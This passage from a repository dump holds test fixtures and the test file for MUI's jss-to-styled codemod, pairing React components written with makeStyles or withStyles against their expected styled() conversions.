    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/second.expected.js",
    "content": "import Typography from '@material-ui/core/Typography';\nimport { styled } from '@mui/material/styles';\nimport Container from 'modules/components/Container';\nimport Button from 'modules/components/Button';\nimport Link from 'modules/components/Link';\nimport MuiLink from '@material-ui/core/Link';\n\nconst PREFIX = 'AffiliatesHero';\n\nconst classes = {\n  root: `${PREFIX}-root`,\n  container: `${PREFIX}-container`,\n  title: `${PREFIX}-title`,\n  actions: `${PREFIX}-actions`,\n  apply: `${PREFIX}-apply`\n};\n\nconst Root = styled('div')((\n  {\n    theme\n  }\n) => ({\n  [`&.${classes.root}`]: {\n    height: '70vh',\n    minHeight: 500,\n    maxHeight: 1000,\n    display: 'flex',\n    alignItems: 'center',\n    justifyContent: 'center',\n    position: 'relative',\n    [theme.breakpoints.down('sm')]: {\n      minHeight: 'auto',\n    },\n  },\n\n  [`& .${classes.container}`]: {\n    display: 'flex',\n    flexDirection: 'column',\n    position: 'relative',\n    alignItems: 'center',\n    // Fix IE11 issue\n    marginRight: 0,\n    marginLeft: 0,\n    padding: `0 ${theme.spacing(2)}`,\n  },\n\n  [`& .${classes.title}`]: {\n    fontSize: 45,\n    marginBottom: theme.spacing(2),\n  },\n\n  [`& .${classes.actions}`]: {\n    marginTop: theme.spacing(3),\n  },\n\n  [`& .${classes.apply}`]: {\n    marginRight: theme.spacing(2),\n  }\n}));\n\nfunction AffiliatesHero() {\n\n\n  return (\n    <Root className={classes.root}>\n      <Container className={classes.container}>\n        <Typography variant=\"h1\" align=\"center\" color=\"textPrimary\" className={classes.title}>\n          Affiliate Program\n        </Typography>\n        <Typography component=\"h2\" align=\"center\" variant=\"h3\" color=\"textSecondary\">\n          Earn money by referring buyers.\n        </Typography>\n        <div className={classes.actions}>\n          <Button\n            variant=\"contained\"\n            component={MuiLink}\n            href=\"mailto:store@mui.com\"\n            className={classes.apply}\n          >\n            Apply now\n          </Button>\n          <Button variant=\"outlined\" component={Link} naked to=\"/affiliate/\">\n            My dashboard\n          </Button>\n        </div>\n      </Container>\n    </Root>\n  );\n}\n\nexport default AffiliatesHero;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/seventh.actual.js",
    "content": "import * as React from 'react';\nimport makeStyles from '@material-ui/styles/makeStyles';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport { withPrefix, navigate } from 'gatsby';\n\nconst useStyles = makeStyles({\n  iframe: {\n    display: 'block',\n    width: '100%',\n    minHeight: 400,\n    maxHeight: 'calc(100vh - 187px)',\n  },\n  loader: {\n    display: 'flex',\n    justifyContent: 'center',\n    minHeight: 400,\n    alignItems: 'center',\n  },\n});\n\nconst onPathnameChange = ({ pathname, search }) => {\n  // After logout\n  if (pathname === '/') {\n    window.location = withPrefix('/');\n    return;\n  }\n\n  // For Dokan\n  // Contributor theme edit /items/material-dashboard/edit/\n  if (/^\\/items\\/(.*)\\/edit\\/$/.test(pathname)) {\n    return;\n  }\n\n  const match = /^(\\/items\\/|\\/contributors\\/|\\/order-cart\\/|\\/my-account\\/lost-password\\/)/.test(\n    pathname,\n  );\n\n  if (match) {\n    navigate(`${pathname}${search}`);\n    return;\n  }\n\n  const orderDownload = /^\\/order-payment\\/order-received\\/(.*)\\/$/.exec(pathname);\n\n  if (orderDownload) {\n    const orderId = parseInt(orderDownload[1], 10);\n    const key = search.replace(/^\\?key=/, '');\n    navigate(`/order-download/?orderId=${orderId}&key=${key}`);\n  }\n};\n\nfunction Iframe(props) {\n  const classes = useStyles();\n  const [loaded, setLoaded] = React.useState(false);\n  const [iframeHeight, setIframeHeight] = React.useState(null);\n\n  React.useEffect(() => {\n    const handler = (event) => {\n      console.log('event.data', event.data);\n      const scrollHeight = event.data.scrollHeight;\n\n      if (scrollHeight) {\n        setIframeHeight(scrollHeight);\n      }\n\n      if (event.data.pathname) {\n        onPathnameChange({\n          pathname: event.data.pathname,\n          search: event.data.search,\n        });\n      }\n    };\n\n    window.addEventListener('message', handler, false);\n\n    return () => {\n      window.removeEventListener('message', handler, false);\n    };\n  }, []);\n\n  return (\n    <div>\n      {loaded === false ? (\n        <div className={classes.loader}>\n          <CircularProgress />\n        </div>\n      ) : null}\n      <iframe\n        className={classes.iframe}\n        title=\"body\"\n        style={{\n          visibility: loaded ? 'visible' : 'hidden',\n          height: loaded ? null : 100,\n          minHeight: iframeHeight,\n        }}\n        onLoad={() => {\n          if (props.onLoad) {\n            props.onLoad();\n          }\n          setLoaded(true);\n        }}\n        frameBorder=\"0\"\n        {...props}\n      />\n    </div>\n  );\n}\n\nexport default Iframe;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/seventh.expected.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport CircularProgress from '@material-ui/core/CircularProgress';\nimport { withPrefix, navigate } from 'gatsby';\n\nconst PREFIX = 'Iframe';\n\nconst classes = {\n  iframe: `${PREFIX}-iframe`,\n  loader: `${PREFIX}-loader`\n};\n\nconst Root = styled('div')({\n  [`& .${classes.iframe}`]: {\n    display: 'block',\n    width: '100%',\n    minHeight: 400,\n    maxHeight: 'calc(100vh - 187px)',\n  },\n  [`& .${classes.loader}`]: {\n    display: 'flex',\n    justifyContent: 'center',\n    minHeight: 400,\n    alignItems: 'center',\n  },\n});\n\nconst onPathnameChange = ({ pathname, search }) => {\n  // After logout\n  if (pathname === '/') {\n    window.location = withPrefix('/');\n    return;\n  }\n\n  // For Dokan\n  // Contributor theme edit /items/material-dashboard/edit/\n  if (/^\\/items\\/(.*)\\/edit\\/$/.test(pathname)) {\n    return;\n  }\n\n  const match = /^(\\/items\\/|\\/contributors\\/|\\/order-cart\\/|\\/my-account\\/lost-password\\/)/.test(\n    pathname,\n  );\n\n  if (match) {\n    navigate(`${pathname}${search}`);\n    return;\n  }\n\n  const orderDownload = /^\\/order-payment\\/order-received\\/(.*)\\/$/.exec(pathname);\n\n  if (orderDownload) {\n    const orderId = parseInt(orderDownload[1], 10);\n    const key = search.replace(/^\\?key=/, '');\n    navigate(`/order-download/?orderId=${orderId}&key=${key}`);\n  }\n};\n\nfunction Iframe(props) {\n\n  const [loaded, setLoaded] = React.useState(false);\n  const [iframeHeight, setIframeHeight] = React.useState(null);\n\n  React.useEffect(() => {\n    const handler = (event) => {\n      console.log('event.data', event.data);\n      const scrollHeight = event.data.scrollHeight;\n\n      if (scrollHeight) {\n        setIframeHeight(scrollHeight);\n      }\n\n      if (event.data.pathname) {\n        onPathnameChange({\n          pathname: event.data.pathname,\n          search: event.data.search,\n        });\n      }\n    };\n\n    window.addEventListener('message', handler, false);\n\n    return () => {\n      window.removeEventListener('message', handler, false);\n    };\n  }, []);\n\n  return (\n    <Root>\n      {loaded === false ? (\n        <div className={classes.loader}>\n          <CircularProgress />\n        </div>\n      ) : null}\n      <iframe\n        className={classes.iframe}\n        title=\"body\"\n        style={{\n          visibility: loaded ? 'visible' : 'hidden',\n          height: loaded ? null : 100,\n          minHeight: iframeHeight,\n        }}\n        onLoad={() => {\n          if (props.onLoad) {\n            props.onLoad();\n          }\n          setLoaded(true);\n        }}\n        frameBorder=\"0\"\n        {...props}\n      />\n    </Root>\n  );\n}\n\nexport default Iframe;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/sixth.actual.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport IconButton from '@material-ui/core/IconButton';\nimport Badge from '@material-ui/core/Badge';\nimport { connect } from 'react-redux';\nimport withStyles from '@material-ui/styles/withStyles';\nimport ShoppingCartIcon from '@material-ui/icons/ShoppingCartOutlined';\nimport * as recompose from 'recompose';\nimport Typography from '@material-ui/core/Typography';\nimport Link from 'modules/components/Link';\n\nconst styles = (theme) => ({\n  root: {\n    padding: 8,\n    '&&&': {\n      marginLeft: 0,\n    },\n  },\n  icon: {\n    fontSize: 24,\n  },\n  badge: {\n    right: 2,\n    top: -8,\n    backgroundColor: theme.palette.primary.main,\n    color: theme.palette.common.white,\n  },\n  transparentBadge: {\n    backgroundColor: theme.palette.common.white,\n    color: theme.palette.primary.main,\n  },\n});\n\n// eslint-disable-next-line react/display-name\nconst LinkToCart = React.forwardRef((linkProps, ref) => (\n  <Link {...linkProps} to=\"/order-cart/\" ref={ref} />\n));\n\nfunction AppAppBarCart(props) {\n  const { classes, className, variant, cart, transparent } = props;\n  const count = cart.count || 0;\n\n  return variant === 'text' ? (\n    <Typography component={LinkToCart} className={className}>\n      {'Cart'} {count > 0 && `(${count})`}\n    </Typography>\n  ) : (\n    <IconButton\n      color={transparent ? 'inherit' : undefined}\n      component={LinkToCart}\n      className={clsx(classes.root, className)}\n    >\n      <ShoppingCartIcon className={classes.icon} />\n      {count > 0 && (\n        <Badge\n          color=\"primary\"\n          classes={{ badge: clsx(classes.badge, { [classes.transparentBadge]: transparent }) }}\n          badgeContent={count > 9 ? '+9' : count}\n        >\n          {''}\n        </Badge>\n      )}\n    </IconButton>\n  );\n}\n\nAppAppBarCart.displayName = 'AppAppBarCart';\n\nAppAppBarCart.propTypes = {\n  classes: PropTypes.object.isRequired,\n  className: PropTypes.string,\n  variant: PropTypes.oneOf(['text', 'icon']),\n  transparent: PropTypes.bool,\n};\n\nAppAppBarCart.defaultProps = {\n  variant: 'icon',\n};\n\nexport default recompose.compose(\n  withStyles(styles, { name: 'AppAppBarCart' }),\n  connect((state) => ({ cart: state.data.cart })),\n)(AppAppBarCart);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/sixth.expected.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport IconButton from '@material-ui/core/IconButton';\nimport Badge from '@material-ui/core/Badge';\nimport { connect } from 'react-redux';\nimport ShoppingCartIcon from '@material-ui/icons/ShoppingCartOutlined';\nimport * as recompose from 'recompose';\nimport Typography from '@material-ui/core/Typography';\nimport Link from 'modules/components/Link';\n\nconst PREFIX = 'AppAppBarCart';\n\nconst classes = {\n  root: `${PREFIX}-root`,\n  icon: `${PREFIX}-icon`,\n  badge: `${PREFIX}-badge`,\n  transparentBadge: `${PREFIX}-transparentBadge`\n};\n\nconst StyledIconButton = styled(IconButton)((\n  {\n    theme\n  }\n) => ({\n  [`&.${classes.root}`]: {\n    padding: 8,\n    '&&&': {\n      marginLeft: 0,\n    },\n  },\n\n  [`& .${classes.icon}`]: {\n    fontSize: 24,\n  },\n\n  [`& .${classes.badge}`]: {\n    right: 2,\n    top: -8,\n    backgroundColor: theme.palette.primary.main,\n    color: theme.palette.common.white,\n  },\n\n  [`& .${classes.transparentBadge}`]: {\n    backgroundColor: theme.palette.common.white,\n    color: theme.palette.primary.main,\n  }\n}));\n\n// eslint-disable-next-line react/display-name\nconst LinkToCart = React.forwardRef((linkProps, ref) => (\n  <Link {...linkProps} to=\"/order-cart/\" ref={ref} />\n));\n\nfunction AppAppBarCart(props) {\n  const {  className, variant, cart, transparent } = props;\n  const count = cart.count || 0;\n\n  return variant === 'text' ? (\n    <Typography component={LinkToCart} className={className}>\n      {'Cart'} {count > 0 && `(${count})`}\n    </Typography>\n  ) : (\n    <StyledIconButton\n      color={transparent ? 'inherit' : undefined}\n      component={LinkToCart}\n      className={clsx(classes.root, className)}\n    >\n      <ShoppingCartIcon className={classes.icon} />\n      {count > 0 && (\n        <Badge\n          color=\"primary\"\n          classes={{ badge: clsx(classes.badge, { [classes.transparentBadge]: transparent }) }}\n          badgeContent={count > 9 ? '+9' : count}\n        >\n          {''}\n        </Badge>\n      )}\n    </StyledIconButton>\n  );\n}\n\nAppAppBarCart.displayName = 'AppAppBarCart';\n\nAppAppBarCart.propTypes = {\n  classes: PropTypes.object.isRequired,\n  className: PropTypes.string,\n  variant: PropTypes.oneOf(['text', 'icon']),\n  transparent: PropTypes.bool,\n};\n\nAppAppBarCart.defaultProps = {\n  variant: 'icon',\n};\n\nexport default recompose.compose(\n  \n  connect((state) => ({ cart: state.data.cart })),\n)(AppAppBarCart);\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/tenth.actual.js",
    "content": "import makeStyles from '@material-ui/styles/makeStyles';\n\nconst useStyles = makeStyles((theme) => ({\n  header: {\n    marginLeft: theme.spacing(5),\n    paddingRight: theme.spacing(3),\n    marginRight: 'auto',\n    minWidth: 400,\n  },\n  img: {\n    marginTop: theme.spacing(4),\n  },\n}));\n\nexport default function Page() {\n  const classes = useStyles();\n\n  return (\n    <>\n      <h1 className={classes.header}></h1>\n      <img className={classes.img}></img>\n    </>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/tenth.expected.js",
    "content": "import { styled } from '@mui/material/styles';\nconst PREFIX = 'tenth';\n\nconst classes = {\n  header: `${PREFIX}-header`,\n  img: `${PREFIX}-img`\n};\n\n// TODO jss-to-styled codemod: The Fragment root was replaced by div. Change the tag if needed.\nconst Root = styled('div')((\n  {\n    theme\n  }\n) => ({\n  [`& .${classes.header}`]: {\n    marginLeft: theme.spacing(5),\n    paddingRight: theme.spacing(3),\n    marginRight: 'auto',\n    minWidth: 400,\n  },\n\n  [`& .${classes.img}`]: {\n    marginTop: theme.spacing(4),\n  }\n}));\n\nexport default function Page() {\n\n\n  return (\n    <Root>\n      <h1 className={classes.header}></h1>\n      <img className={classes.img}></img>\n    </Root>\n  );\n}\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/third.actual.js",
    "content": "\nimport withStyles from '@material-ui/styles/withStyles';\nimport Button from '@material-ui/core/Button';\nimport Card from '@material-ui/core/Card';\nimport CardActions from '@material-ui/core/CardActions';\n\nconst getStyles = (theme) => {\n  return {\n    root: {},\n    actions: {},\n    button: {},\n  };\n};\n\nexport const MyCard = withStyles(getStyles)((props) => {\n  const { classes } = props;\n  return (\n    <Card className={classes.root}>\n      <CardActions className={classes.actions}>\n        <Button className={classes.button}>Submit</Button>\n      </CardActions>\n    </Card>\n  );\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/third.expected.js",
    "content": "\nimport { styled } from '@mui/material/styles';\nimport Button from '@material-ui/core/Button';\nimport Card from '@material-ui/core/Card';\nimport CardActions from '@material-ui/core/CardActions';\n\nconst PREFIX = 'MyCard';\n\nconst classes = {\n  root: `${PREFIX}-root`,\n  actions: `${PREFIX}-actions`,\n  button: `${PREFIX}-button`\n};\n\nconst StyledCard = styled(Card)((\n  {\n    theme\n  }\n) => {\n  return {\n    [`&.${classes.root}`]: {},\n    [`& .${classes.actions}`]: {},\n    [`& .${classes.button}`]: {},\n  };\n});\n\nexport const MyCard = ((props) => {\n  const { } = props;\n  return (\n    <StyledCard className={classes.root}>\n      <CardActions className={classes.actions}>\n        <Button className={classes.button}>Submit</Button>\n      </CardActions>\n    </StyledCard>\n  );\n});\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/twelfth.actual.js",
    "content": "import * as React from 'react';\nimport makeStyles from '@material-ui/styles/makeStyles';\n\nconst useStyles = makeStyles((theme) => ({\n  header: {\n    marginLeft: theme.spacing(5),\n    paddingRight: theme.spacing(3),\n    marginRight: 'auto',\n    minWidth: 400,\n  },\n  img: {\n    marginTop: theme.spacing(4),\n  },\n}));\n\nexport default function Page() {\n  const classes = useStyles();\n\n  return (\n    <React.Suspense fallback={<div>Loading</div>}>\n      <h1 className={classes.header}></h1>\n      <img className={classes.img}></img>\n    </React.Suspense>\n  );\n}"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/withCreateStyles.actual.tsx",
    "content": "import createStyles from '@material-ui/styles/createStyles';\nimport makeStyles from '@material-ui/styles/makeStyles';\n\nconst useStyles = makeStyles((theme) =>\n  createStyles({\n    root: {\n      background: theme.background,\n    },\n  }),\n);\n\nconst MyComponent = (props) => {\n  const classes = useStyles();\n\n  return (\n    <div {...props} className={classes.root} />\n  );\n};\n\nexport default MyComponent;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/withCreateStyles.expected.tsx",
    "content": "import { styled } from '@mui/material/styles';\nconst PREFIX = 'MyComponent';\n\nconst classes = {\n  root: `${PREFIX}-root`\n};\n\nconst Root = styled('div')((\n  {\n    theme\n  }\n) => ({\n  [`&.${classes.root}`]: {\n    background: theme.background,\n  }\n}));\n\nconst MyComponent = (props) => {\n\n\n  return (<Root {...props} className={classes.root} />);\n};\n\nexport default MyComponent;\n"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/withCreateStyles1.actual.tsx",
    "content": "\nimport createStyles from '@material-ui/styles/createStyles';\nimport withStyles from '@material-ui/styles/withStyles';\n\nconst styles = (theme) =>\n  createStyles({\n    root: {\n      background: theme.background,\n    },\n  });\n\nconst MyComponent = (props) => {\n  const { classes } = props;\n\n  return (\n    <div {...props} className={classes.root} />\n  );\n};\n\nexport default withStyles(styles)(MyComponent);"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/withCreateStyles1.expected.tsx",
    "content": "\nimport { styled } from '@mui/material/styles';\nconst PREFIX = 'withCreateStyles1';\n\nconst classes = {\n  root: `${PREFIX}-root`\n};\n\nconst Root = styled('div')((\n  {\n    theme\n  }\n) => ({\n  [`&.${classes.root}`]: {\n    background: theme.background,\n  }\n}));\n\nconst MyComponent = (props) => {\n  const { } = props;\n\n  return (<Root {...props} className={classes.root} />);\n};\n\nexport default (MyComponent);"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/withCreateStyles2.actual.tsx",
    "content": "\nimport createStyles from '@material-ui/styles/createStyles';\nimport withStyles from '@material-ui/styles/withStyles';\n\nconst styles = createStyles({\n    root: {\n      background: 'red',\n    },\n  });\n\nconst MyComponent = (props) => {\n  const { classes } = props;\n\n  return (\n    <div {...props} className={classes.root} />\n  );\n};\n\nexport default withStyles(styles)(MyComponent);"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/withCreateStyles2.expected.tsx",
    "content": "\nimport { styled } from '@mui/material/styles';\nconst PREFIX = 'withCreateStyles2';\n\nconst classes = {\n  root: `${PREFIX}-root`\n};\n\nconst Root = styled('div')({\n    [`&.${classes.root}`]: {\n      background: 'red',\n    },\n  });\n\nconst MyComponent = (props) => {\n  const { } = props;\n\n  return (<Root {...props} className={classes.root} />);\n};\n\nexport default (MyComponent);"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/withCreateStyles3.actual.tsx",
    "content": "import createStyles from '@material-ui/styles/createStyles';\nimport makeStyles from '@material-ui/styles/makeStyles';\n\nconst useStyles = makeStyles(createStyles({\n    root: {\n      background: 'red',\n    },\n  })\n);\n\nconst MyComponent = (props) => {\n  const classes = useStyles();\n\n  return (\n    <div {...props} className={classes.root} />\n  );\n};\n\nexport default MyComponent;"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test/withCreateStyles3.expected.tsx",
    "content": "import { styled } from '@mui/material/styles';\nconst PREFIX = 'MyComponent';\n\nconst classes = {\n  root: `${PREFIX}-root`\n};\n\nconst Root = styled('div')({\n    [`&.${classes.root}`]: {\n      background: 'red',\n    },\n  });\n\nconst MyComponent = (props) => {\n\n\n  return (<Root {...props} className={classes.root} />);\n};\n\nexport default MyComponent;"
  },
  {
    "path": "packages/mui-codemod/src/v5.0.0/jss-to-styled.test.js",
    "content": "import path from 'path';\nimport { expect } from 'chai';\nimport jscodeshift from 'jscodeshift';\nimport transform from './jss-to-styled';\nimport readFile from '../util/readFile';\n\nfunction read(fileName) {\n  return readFile(path.join(__dirname, fileName));\n}\n\ndescribe('@mui/codemod', () => {\n  describe('v5.0.0', () => {\n    describe('jss-to-styled', () => {\n      it('falls back to the filename for naming', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/Anonymous.actual.js'),\n            path: require.resolve('./jss-to-styled.test/Anonymous.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/Anonymous.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      describe('first', () => {\n        it('transforms as needed', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/first.actual.js'),\n              path: require.resolve('./jss-to-styled.test/first.actual.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/first.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/first.expected.js'),\n              path: require.resolve('./jss-to-styled.test/first.expected.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/first.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('second', () => {\n        it('transforms as needed', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/second.actual.js'),\n              path: require.resolve('./jss-to-styled.test/second.actual.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/second.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/second.expected.js'),\n              path: require.resolve('./jss-to-styled.test/second.expected.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/second.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('third', () => {\n        it('transforms as needed', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/third.actual.js'),\n              path: require.resolve('./jss-to-styled.test/third.actual.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/third.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/third.expected.js'),\n              path: require.resolve('./jss-to-styled.test/third.expected.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/third.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('fourth', () => {\n        it('transforms as needed', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/fourth.actual.js'),\n              path: require.resolve('./jss-to-styled.test/fourth.actual.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/fourth.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/fourth.expected.js'),\n              path: require.resolve('./jss-to-styled.test/fourth.expected.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/fourth.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('fifth', () => {\n        it('transforms as needed', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/fifth.actual.js'),\n              path: require.resolve('./jss-to-styled.test/fifth.actual.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/fifth.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/fifth.expected.js'),\n              path: require.resolve('./jss-to-styled.test/fifth.expected.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/fifth.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('sixth', () => {\n        it('transforms as needed', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/sixth.actual.js'),\n              path: require.resolve('./jss-to-styled.test/sixth.actual.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/sixth.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/sixth.expected.js'),\n              path: require.resolve('./jss-to-styled.test/sixth.expected.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/sixth.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('seventh', () => {\n        it('transforms as needed', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/seventh.actual.js'),\n              path: require.resolve('./jss-to-styled.test/seventh.actual.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/seventh.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/seventh.expected.js'),\n              path: require.resolve('./jss-to-styled.test/seventh.expected.js'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/seventh.expected.js');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n\n      describe('with createStyles', () => {\n        it('transforms as needed', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/withCreateStyles.actual.tsx'),\n              path: require.resolve('./jss-to-styled.test/withCreateStyles.actual.tsx'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/withCreateStyles.expected.tsx');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n\n        it('should be idempotent', () => {\n          const actual = transform(\n            {\n              source: read('./jss-to-styled.test/withCreateStyles.expected.tsx'),\n              path: require.resolve('./jss-to-styled.test/withCreateStyles.expected.tsx'),\n            },\n            { jscodeshift },\n            {},\n          );\n\n          const expected = read('./jss-to-styled.test/withCreateStyles.expected.tsx');\n          expect(actual).to.equal(expected, 'The transformed version should be correct');\n        });\n      });\n    });\n\n    describe('with createStyles on withStyles', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/withCreateStyles1.actual.tsx'),\n            path: require.resolve('./jss-to-styled.test/withCreateStyles1.actual.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/withCreateStyles1.expected.tsx');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/withCreateStyles1.expected.tsx'),\n            path: require.resolve('./jss-to-styled.test/withCreateStyles1.expected.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/withCreateStyles1.expected.tsx');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('with createStyles on withStyles directly', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/withCreateStyles2.actual.tsx'),\n            path: require.resolve('./jss-to-styled.test/withCreateStyles2.actual.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/withCreateStyles2.expected.tsx');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/withCreateStyles2.expected.tsx'),\n            path: require.resolve('./jss-to-styled.test/withCreateStyles2.expected.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/withCreateStyles2.expected.tsx');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('with createStyles directly', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/withCreateStyles3.actual.tsx'),\n            path: require.resolve('./jss-to-styled.test/withCreateStyles3.actual.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/withCreateStyles3.expected.tsx');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/withCreateStyles3.expected.tsx'),\n            path: require.resolve('./jss-to-styled.test/withCreateStyles3.expected.tsx'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/withCreateStyles3.expected.tsx');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('transforms React.Fragment', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/eighth.actual.js'),\n            path: require.resolve('./jss-to-styled.test/eighth.actual.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/eighth.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n\n      it('should be idempotent', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/eighth.expected.js'),\n            path: require.resolve('./jss-to-styled.test/eighth.expected.js'),\n          },\n          { jscodeshift },\n          {},\n        );\n\n        const expected = read('./jss-to-styled.test/eighth.expected.js');\n        expect(actual).to.equal(expected, 'The transformed version should be correct');\n      });\n    });\n\n    describe('transforms Fragment', () => {\n      it('transforms as needed', () => {\n        const actual = transform(\n          {\n            source: read('./jss-to-styled.test/nineth.actual.js'),\n            path: 